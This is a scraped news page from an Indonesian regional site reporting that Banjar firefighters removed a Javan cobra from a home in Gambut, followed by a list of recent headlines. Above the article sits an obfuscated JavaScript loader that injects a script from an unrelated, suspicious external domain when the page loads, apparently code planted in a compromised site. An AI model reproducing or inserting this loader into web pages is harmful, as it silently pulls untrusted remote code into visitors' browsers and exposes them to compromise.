(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Ular Kobra Jawa Masuk Rumah, DPKP Banjar Sektor Gambut Berhasil Evakuasi


KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar Sektor Gambut berhasil menangkap ular kobra Jawa (Naja Sputatrix) di Jalan Gotong Royong RT 22, Kecamatan Gambut, Kabupaten Banjar, Minggu (5/11/2023) malam.

Peralihan musim membuat berbagai jenis hewan sering muncul ke permukiman, bahkan tak sedikit yang masuk ke dalam rumah dan melintas di permukiman penduduk.

Sekitar pukul 19.38 Wita, Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar Sektor Gambut mendapat laporan dari warga bernama Dewi ada ular memasuki rumahnya.

Baca juga: Elmalina Sempat Selamatkan Ijazah, Dua Rumah Terbakar di Desa Gudang Hirang

Danru Sektor Gambut Slamat Riyadi melalui Kasi DPKP Banjar Gusti Yudhi mengatakan, saat balik dari lokasi kebakaran di Komplek Tawakal Asri, ada laporan salah satu warga meminta bantuan untuk menangkap ular di rumahnya.

“Kami langsung respon cepat dan mengerahkan personel ke rumah warga tersebut, melakukan penanganan permintaan pertolongan hewan berbahaya yang masuk rumah,” ucapnya.

Tiba di lokasi, personel langsung mencari hewan tersebut, kurang lebih 15 menit pencarian ditemukan ular kobra berada di belakang dinding ranjang. “Ular kobra Jawa dengan memiliki panjang kurang lebijh 1 meter,” sebutnya.

Baca juga: Bohlam Meleleh Nyaris Bakar Rumah di Komplek Tawakal Asri

Kemudian petugas mengamankan dan membawa untuk dilepasliarkan jauh dari permukiman warga.

Tak lupa petugas DPKP Banjar Sektor Gambut memberikan edukasi kewaspadaan kepada warga ada, hewan berbahaya seperti ular di sekitar permukiman.

Naja sputatrix atau kobra jawa merupakan ular berbisa tinggi.

Baca juga: 108 Petenis Meja Putra Ramaikan Turnamen Tenis Meja se Banua Enam

Bisa ular ini bersifat hemotoksik atau bersifat merusak sel darah dan juga neurotoksik atau bersifat merusak sel syaraf. (Kanalkalimantan.com/nh)

Reporter : nh
Editor : bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.